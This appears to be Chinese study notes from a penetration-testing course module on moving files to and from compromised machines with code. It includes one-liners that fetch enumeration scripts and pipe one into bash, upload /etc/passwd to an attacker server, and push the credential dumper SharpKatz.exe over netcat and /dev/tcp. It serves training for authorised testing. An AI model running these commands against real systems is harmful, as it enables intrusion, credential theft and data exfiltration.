Transfering Files with Code
在我们的目标机器上安装不同的编程语言是很常见的。Python、PHP、Perl和Ruby等编程语言在Linux发行版中很常见,但也可以安装在Windows上,尽管这远不常见。 我们可以使用一些Windows默认应用程序,如cscript和mshta,来执行JavaScript或VBScript代码。JavaScript也可以在Linux主机上运行。 根据维基百科,大约有700种编程语言,我们可以用任何编程语言创建代码,将指令下载、上传或执行到操作系统。本节将提供一些使用通用编程语言的示例。
Python
Python是一种流行的编程语言。目前支持版本3,但我们可能会发现Python 2.7版本仍然存在的服务器。Python可以使用选项-c从操作系统命令行运行一行代码。让我们看一些例子:
Tanin@htb[/htb]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Tanin@htb[/htb]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
PHP
PHP也非常流行,它提供了多种文件传输方法。根据W3Techs( According to W3Techs’ data)的数据,77.4%的网站使用已知的服务器端编程语言使用PHP。尽管信息并不精确,而且数量可能略低,但我们在执行攻击性操作时经常会遇到使用PHP的web服务。 让我们看一些使用PHP下载文件的示例。 在下面的示例中,我们将使用PHP file_get_contents() module 从网站下载内容,并结合 file_put_contents() module将文件保存到目录中。PHP可以用于使用选项-r从操作系统命令行运行一行代码。
PHP Download with File_get_contents()
Tanin@htb[/htb]$ php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
file_get_contents()和file_put_contends()的替代方案是fpopen()模块。我们可以使用这个模块打开一个URL,读取它的内容并将其保存到一个文件中。
PHP Download with Fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
这段代码看起来是一个简单的文件下载操作,它尝试从指定的 URL 下载 LinEnum.sh
文件,并将其保存到本地。
具体来说,代码的含义如下:
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb");
该行代码打开指定 URL 的远程文件,使用 "rb"
模式以二进制方式读取文件内容。
$flocal = fopen("LinEnum.sh", "wb");
该行代码创建一个名为 LinEnum.sh
的本地文件,使用 "wb"
模式以二进制方式写入文件内容。
while ($buffer = fread($fremote, BUFFER)) {
fwrite($flocal, $buffer);
}
该循环代码从远程文件中读取数据块,并将数据块写入本地文件,直到远程文件的所有数据被读取完毕。
fclose($flocal);
fclose($fremote);
最后,代码关闭打开的本地文件和远程文件。
请注意,这只是一段代码片段,缺少变量的定义和完整的执行环境。要使其正常工作,您需要在代码中定义 BUFFER
常量的大小,并确保您有适当的文件读写权限。另外,请确保从远程服务器下载的文件内容符合您的预期,并采取安全措施来验证和审查远程文件的来源和内容。
我们也可以将下载的内容发送到管道,类似于我们在上一节中使用cURL和wget执行的无文件示例。
PHP Download a File and Pipe it to Bash
Tanin@htb[/htb]$ php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
这段代码使用 PHP 和 Bash 结合执行了一系列操作。具体来说,它从指定的 URL 下载 LinEnum.sh
文件,然后通过管道将文件内容传递给 Bash 来执行。
以下是代码的解释:
$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh");
这行代码使用 file()
函数从指定的 URL 下载文件,并将文件内容读取到 $lines
数组中。@
符号用于忽略可能出现的错误。
foreach ($lines as $line_num => $line) {
echo $line;
}
这个循环遍历 $lines
数组中的每一行,并使用 echo
打印每一行的内容。这样可以将下载的文件内容输出到标准输出。
| bash
通过管道 |
将 PHP 的输出传递给 Bash,即将下载的文件内容传递给 Bash 执行。
这段代码的目的是将远程文件 LinEnum.sh
的内容下载并传递给 Bash 解释器执行。请注意,执行来自远程源的代码片段可能存在安全风险,因此在运行此代码之前,请确保您信任远程文件的来源,并且您已经仔细审查了其中的内容。
Other Languages
Ruby和Perl是其他流行的语言,也可以用于传输文件。这两种编程语言还支持使用选项-e从操作系统命令行运行一行程序。
Tanin@htb[/htb]$ ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
Perl - Download a File
Tanin@htb[/htb]$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
JavaScript
JavaScript是一种脚本或编程语言,允许您在网页上实现复杂的功能。与其他编程语言一样,我们可以将它用于许多不同的事情。 以下JavaScript代码基于本文,我们可以使用它下载一个文件。我们将创建一个名为wget.js的文件,并保存以下内容:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
我们可以从Windows命令提示符或PowerShell终端使用以下命令来执行JavaScript代码并下载文件。
C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
Upload Operations using Python3
如果我们想上传文件,我们需要了解特定编程语言中执行上传操作的函数。Python3请求模块允许您使用Python发送HTTP请求(GET、POST、PUT等)。如果我们想将文件上传到Python3上传服务器,我们可以使用以下代码。
Starting the Python uploadserver Module
Tanin@htb[/htb]$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Uploading a File Using a Python One-liner
Tanin@htb[/htb]$ python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
Netcat
Netcat (通常缩写为nc)是一种计算机网络实用程序,用于使用TCP或UDP读取和写入网络连接,这意味着我们可以将其用于文件传输操作。 最初的Netcat是由霍比特人于1995年发行的,但尽管它很受欢迎,但一直没有得到维护。该工具的灵活性和实用性促使Nmap项目生产了 Ncat,这是一种现代的重新实现,支持SSL、IPv6、SOCKS和HTTP代理、连接代理等。 在本节中,我们将同时使用原始的Netcat和Ncat。
File Transfer with Netcat and Ncat
目标或攻击机器可以用来启动连接,如果防火墙阻止访问目标,这很有帮助。让我们创建一个示例,并将一个工具转移到我们的目标。 在这个例子中,我们将把SharpKatz.exe从我们的Pwnbox转移到受损的机器上。我们将使用两种方法。让我们完成第一个。 我们将首先在受损的机器上启动Netcat(nc),使用选项-l进行侦听,使用选项-p 8000选择要侦听的端口,然后使用一个大于>的值并后跟文件名SharpKatz.exe重定向stdout。
victim@target:~$ nc -l -p 8000 > SharpKatz.exe
如果被破坏的机器正在使用Ncat,我们只需要指定–recv-only来在文件传输完成后关闭连接。
victim@target:~$ ncat -l -p 8000 --recv-only > SharpKatz.exe
从我们的攻击主机,我们将使用Netcat连接到端口8000上的受损机器,并将文件SharpKatz.exe作为输入发送到Netcat。选项-q0将告诉Netcat在连接完成后关闭连接。这样,我们就可以知道文件传输何时完成。
Tanin@htb[/htb]$ wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
Tanin@htb[/htb]$ # Example using Original Netcat
Tanin@htb[/htb]$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe
通过在我们的攻击主机上使用Ncat,我们可以选择–send-only而不是-q。当在连接和侦听模式中都使用–send-only标志时,一旦Ncat的输入耗尽,就会提示其终止。通常,Ncat会继续运行,直到网络连接关闭,因为远程侧可能会传输额外的数据。但是,使用–send-only,不需要预测更多传入信息。
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
如果我们的受损机器上没有Netcat或Ncat,Bash支持在伪设备文件/dev/TCP/上进行读/写操作。 写入这个特定的文件会使Bash打开到host:port的TCP连接,并且这个功能可以用于文件传输。
NetCat - Sending File as Input to Netcat
Tanin@htb[/htb]$ # Example using Original Netcat
Tanin@htb[/htb]$ sudo nc -l -p 443 -q 0 < SharpKatz.exe
NetCat - Sending File as Input to Netcat
Tanin@htb[/htb]$ # Example using Ncat
Tanin@htb[/htb]$ sudo ncat -l -p 443 --send-only < SharpKatz.exe
Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
victim@target:~$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe